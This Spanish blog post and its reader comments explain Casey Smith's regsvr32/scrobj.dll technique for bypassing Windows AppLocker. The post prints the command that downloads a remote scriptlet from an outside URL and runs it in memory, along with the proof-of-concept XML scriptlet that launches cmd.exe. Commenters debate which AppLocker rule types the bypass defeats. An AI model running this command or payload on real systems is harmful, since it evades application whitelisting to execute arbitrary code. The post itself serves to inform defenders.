AppLocker es una característica que se introdujo en Windows Server 2008 R2 y Windows 7 y permite definir qué programas y scripts pueden o no pueden ejecutar los usuarios. Se utiliza sobretodo en empresas y universidades para impedir el uso de programas no relacionados con el trabajo y de paso puede evitar la ejecución de malware.
Recientemente un investigador de seguridad llamado Casey Smith ha encontrado una forma bastante simple que puede evadir las restricciones de AppLocker mendiante el fetcher HTTP. Véase el siguiente comando para Windows 10 Enterprise que cabe en un tweet:
regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll
Ya sabéis que regsvr32 es parte del sistema operativo y se puede utilizar para registrar y des-registrar scripts COM con el registro de Windows. /s le dice a regsvr32 que se ejecute en silencio, mediante /n no usaremos DllRegisterServer, /i pasa un parámetro opcional (nuestra URL) para DllInstall, /u significa que estamos tratando de anular el registro de un objeto y scrobj.dll es el Script Component Runtime de Microsoft.
Si se le pasa a regsvr32 una dirección URL a analizar, lo que hace realmente es descargarlo a través de HTTP o HTTPS, incluso a través de proxy, y procesarla. Insertando código JavaScript en un XML y provocando su ejecución mediante la solicitud de anulación del registro de una DLL es posible ejecutar cmd.exe:
Como veis, el Javascript embebido utiliza ActiveX para abrir una consola de comandos. Si cambiamos cmd.exe por cualquier otro programa que no esté en la lista blanca de AppLocker... ¡se ejecutará!
El truco (Smith no ha querido llamarlo exploit) es limpio, ya que no toca el registro, no necesita derechos de administrador, puede ser "envuelto" en una sesión HTTP cifrada y no deja ningún rastro en el disco ya que lo descarga a memoria.
Por el momento, no existe un parche para esto.
Fuente: Bypass the Windows AppLocker bouncer with a tweet-size command
Recientemente un investigador de seguridad llamado Casey Smith ha encontrado una forma bastante simple que puede evadir las restricciones de AppLocker mendiante el fetcher HTTP. Véase el siguiente comando para Windows 10 Enterprise que cabe en un tweet:
regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll
Ya sabéis que regsvr32 es parte del sistema operativo y se puede utilizar para registrar y des-registrar scripts COM con el registro de Windows. /s le dice a regsvr32 que se ejecute en silencio, mediante /n no usaremos DllRegisterServer, /i pasa un parámetro opcional (nuestra URL) para DllInstall, /u significa que estamos tratando de anular el registro de un objeto y scrobj.dll es el Script Component Runtime de Microsoft.
Si se le pasa a regsvr32 una dirección URL a analizar, lo que hace realmente es descargarlo a través de HTTP o HTTPS, incluso a través de proxy, y procesarla. Insertando código JavaScript en un XML y provocando su ejecución mediante la solicitud de anulación del registro de una DLL es posible ejecutar cmd.exe:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]>
</script>
</registration>
</scriptlet>
Como veis, el Javascript embebido utiliza ActiveX para abrir una consola de comandos. Si cambiamos cmd.exe por cualquier otro programa que no esté en la lista blanca de AppLocker... ¡se ejecutará!
El truco (Smith no ha querido llamarlo exploit) es limpio, ya que no toca el registro, no necesita derechos de administrador, puede ser "envuelto" en una sesión HTTP cifrada y no deja ningún rastro en el disco ya que lo descarga a memoria.
Por el momento, no existe un parche para esto.
Fuente: Bypass the Windows AppLocker bouncer with a tweet-size command
Un matiz: en Applocker, si tienes definidas listas blancas, del estilo, permito por PATH, si pones ahí cualquier comando que salga del program files o del %WINDIR%, es lo mismo que si haces, inicio, ejecutar y lanzar un programa que está permitido; si se sale de ese ámbito, esto no hace nada más, es decir, que no hace efecto...en memoria hace el wscript, pero el otro comando no, y por tanto, se bloquea igual que siempre.
ResponderEliminarGracias!
Exacto este "exploit" requiere condiciones expcificas de configuracion de AppLocker para que funcione..
EliminarRealmente requiere malas configuraciones de applocker, o lo que es lo mismo, no ponerlo :-)
EliminarCalma esas tetas anonimo, no entiendo a que viene tanta arrogancia, no lo descubriste tu, ese fué el problema, obviamente los "exploits" necesitan condiciones y configuraciones especificas. Simplemente muestran las condiciones en las que seria posible que esto funcione, eso es lo que hace, MOSTRAR QUE ES POSIBLE.
EliminarAportando:
EliminarCon reglas donde la condicion se basa en Hash es expotable.. Para reglas donde la condicion se basa en PAth no funciona..
En todo caso muchos exploits requieren malas configuraciones de los admin para que sean efectivos
En resumen (a mi criterio)... Muy valido el aporte
Siento anónimo haber parecido arrogante; obviamente no era la intención. Sí aclarar o matizar que no se salta el applocker creando las reglas por defecto, así de simple...por tanto, no llega a ser un "exploit" que se salte el applocker. Haz la prueba simplemente.
EliminarEn cuanto a reglas por hash, es obbvio que se las saltaría por la forma en que funciona la regla por hash, de ahí que haya que tener las reglas definidas bien, patch, scripts, etc. Un saludo, y por supuesto, muy buen aporte como siempre.